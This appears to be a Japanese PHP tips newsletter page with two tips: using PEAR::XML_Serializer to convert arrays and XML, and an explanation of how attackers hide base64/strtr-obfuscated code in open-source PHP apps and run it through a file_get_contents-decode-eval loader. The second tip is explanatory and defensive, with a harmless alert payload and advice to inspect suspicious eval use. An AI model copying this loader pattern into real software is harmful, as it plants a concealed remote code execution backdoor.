PHPプロ!TIPS+

1. PEAR::XML_Serializerを用いてXMLをパース

様々なWEBサービスで提供されているAPIを利用するときやRSSをいじりたいときなど、最近は少なからずXMLのデータ形式を扱うことがあります。PHPでこれらを操作するとき皆さんならどのようにしますか。今回はPHPで簡単にXMLをパースすることが出来るPEAR::XML_Serializerを紹介します。

インストールは

pear install --alldeps xml_serializer-beta

PEAR::XML_Serializerはまだベータ版であり且つ依存しているパッケージ、PEAR::XML_UtilやPEAR::XML_Parserがあるので--alldepsオプションを付けてインストールするとこれらが依存しているパッケージも一緒にインストールしてくれるので便利です。

では早速使ってみましょう。以下のスクリプトを実行してみてください。

<?php
require_once("XML/Serializer.php");

$data array(
  
'channel' => array(
    
'title' => 'サンプルRSS',
    
'link' => 'http://localhost/',
    
'description' => 'XML_Serializerのサンプル',
    
'language' => 'ja-jp',
    
'pubDate' => date("r"),
    array(
      
'title' => 'タイトル1',
      
'link' => 'http://localhost/1/',
      
'pubDate' => date("r"),
      
'description' => 'サンプル1'
    
),
    array(
      
'title' => 'タイトル2',
      
'link' => 'http://localhost/2/',
      
'pubDate' => date("r"),
      
'description' => 'サンプル2'
    
)
  )
);
$options array(
  
XML_SERIALIZER_OPTION_INDENT => "\t",
  
XML_SERIALIZER_OPTION_XML_ENCODING => 'UTF-8',
  
XML_SERIALIZER_OPTION_XML_DECL_ENABLED => TRUE,
  
XML_SERIALIZER_OPTION_ROOT_NAME => 'rss',
  
XML_SERIALIZER_OPTION_ROOT_ATTRIBS => array('version' => '2.0'),
  
XML_SERIALIZER_OPTION_DEFAULT_TAG => 'item'
);

$serializer = new XML_Serializer($options);
$serializer->serialize($data);
$result $serializer->getSerializedData();

header("Content-Type: text/xml; charset=utf-8");
echo 
$result;
?>

サンプルのRSSが出力されます。スクリプトの内容を解説すると、XMLとして出力するデータを連想配列で作成し、serializeメソッドで変換、getSerializedData()メソッドで変換したデータを取得しています。これだけで連想配列がXMLに変換されます。

またXMLを連想配列に変換するXML_Unserializerクラスもあります。

<?php
require_once("XML/Unserializer.php");

$xml = <<< DOC_END
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>サンプルRSS</title>
    <link>http://localhost/</link>
    <description>XML_Serializerのサンプル</description>
    <language>ja-jp</language>
    <pubDate>Wed, 14 Feb 2007 13:33:58 +0900</pubDate>
    <item>
      <title>タイトル1</title>
      <link>http://localhost/1/</link>
      <pubDate>Wed, 14 Feb 2007 13:33:58 +0900</pubDate>
      <description>サンプル1</description>
    </item>
    <item>
      <title>タイトル2</title>
      <link>http://localhost/2/</link>
      <pubDate>Wed, 14 Feb 2007 13:33:58 +0900</pubDate>
      <description>サンプル2</description>
    </item>
  </channel>
</rss>
DOC_END;

$options array(
  
XML_UNSERIALIZER_OPTION_ATTRIBUTES_PARSE => 'parseAttributes'
);

$unserializer = new XML_Unserializer($options);
$unserializer->unserialize($xml);
$result $unserializer->getUnserializedData();

var_dump($result);
?>

XML_Serializerと似たようなものですが、unserializeメソッドでXMLを連想配列に変換し、getUnserializedDataメソッドでその変換されたデータを取得します。

このようにPEAR::XML_Serializerを使うと連想配列をXMLにしたり、その逆、XMLを連想配列にしたり出来るようになり、面倒なXMLのパース作業がとても簡単になります。興味のある方は是非使ってみてはいかがでしょうか?

PEAR::XML_Serializer : http://pear.php.net/package/XML_Serializer/

2. 悪意のあるコードの埋め込みと実行

ある程度認知されているオープンソース・アプリケーションを、ユーザは盲目的に信頼しがちです。今回は、そのような状況を悪用したクラッキング手法を紹介します。これは、悪意のあるコードをアプリケーションに埋め込み・実行させるものであり、あるファイル・サーバ管理アプリケーションのコピーで、実際に発見されました。

その方法では、まず悪意のあるコードを「暗号化」してスクリプトに埋め込み、次に別のスクリプト内でその部分を「復号化」して実行させます。このようにして、余計なコードが入っていることを二重に気づき難くさせている点に注意して下さい。

「暗号化」では、複数の関数を用いることで、埋め込みたいコードは無意味に見える文字列に変換されます。例えば、strtr関数と base64_encode関数で変換されると、一見しただけではPHPコードとは分かりません。その上で、既存のスクリプトの一番最後(PHPの終了タグの後)に埋め込みます。

例えば、JavaScriptでHello worldと表示させるコードを埋め込んでみましょう。このコードを文字列に格納し、scriptをh1に変換してから、base64エンコードをかけます。

<?php
$code 
=<<<DOC_END
print "<script>alert('Hello world');</script>";
DOC_END;
 
$code strtr($codearray("script" => "h1"));
$code base64_encode($code);
?>

こうしてPHPコードは「暗号化」されました。その内容は、以下のようになります。

cHJpbnQgIjxoMT5hbGVydChcJ0hlbGxvIHdvcmxkXCcpOzwvaDE+Ijs=

次に、この文字列を、アプリケーション内のスクリプトの最後に加えます。ただし、そのスクリプトはウェブ上からアクセスでき、ブラウザへ他の文字等を出力していないことが条件です。

<?php
// 何らかの処理
...
?>
cHJpbnQgIjxoMT5hbGVydChcJ0hlbGxvIHdvcmxkXCcpOzwvaDE+Ijs=

埋め込んだコードの実行は、アプリケーション内の別のスクリプトから行います。コードが埋め込まれたスクリプトをウェブ上から読み込み、「暗号化」されたコードを文字列に格納します。次に、「復号化」を行います(base64_decodestrtrの順で実行)。そして最後に、eval関数を使ってこのコードを実行します。

<script>alert('Hello world');</script>を埋め込んだスクリプトのURLを
http://www.example.com/target.php とすると、「復号化」と実行を担うコードは以下のようになります。

<?php
...
...
// ここまでがアプリケーションの正規のコード

$code file_get_contents('http://www.example.com/target.php');
$code base64_decode($code);
$code strtr($codearray("h1" => "script"));
eval(
$code);
?>

このスクリプトがアプリケーション内で読み込まれると、JavaScriptが実行されアラートでHello worldと表示されてしまいます。

今回埋め込んだコードは、とても簡単なものであり、大した害はありません。しかし、ディレクトリを消去するようなコードが埋め込まれた場合、パーミッションやopen_basedirの設定如何では、深刻な被害をもたらします。

ソースコードの配布元が明確でなかったり、配布元が分かっていてもコードに疑問を感じるなら、実行しないで下さい。一旦立ち止まり、ソースコードを読むことも時には必要です。base64エンコードやeval関数の使い方が無意味と感じる箇所があれば、注意しましょう。また、「暗号化」「復号化」がさらに巧妙になる可能性があることを、覚えておいて下さい。

バックナンバーについて

TIPS-MLは、毎週金曜日に更新され、新しい記事が掲載されます。

Tipsꗗy[W 

Pick Up Q&A

Q
ログファイルの中の空のデータ行を削除したい
 このエントリーをはてなブックマークに追加 
A
ログのデータ個数(列数)が固定で、空のログが"<><><>"だと既知であれば if ($line === "<><><>") { continue; } で読み飛ばしてもいいのでは? ...

>>続きを読む

まずは配列や文字列の扱いから、じっくり勉強して行きましょう。

▲解説者:岡本(アシアル株式会社 教育コーディネーター兼 システムエンジニア)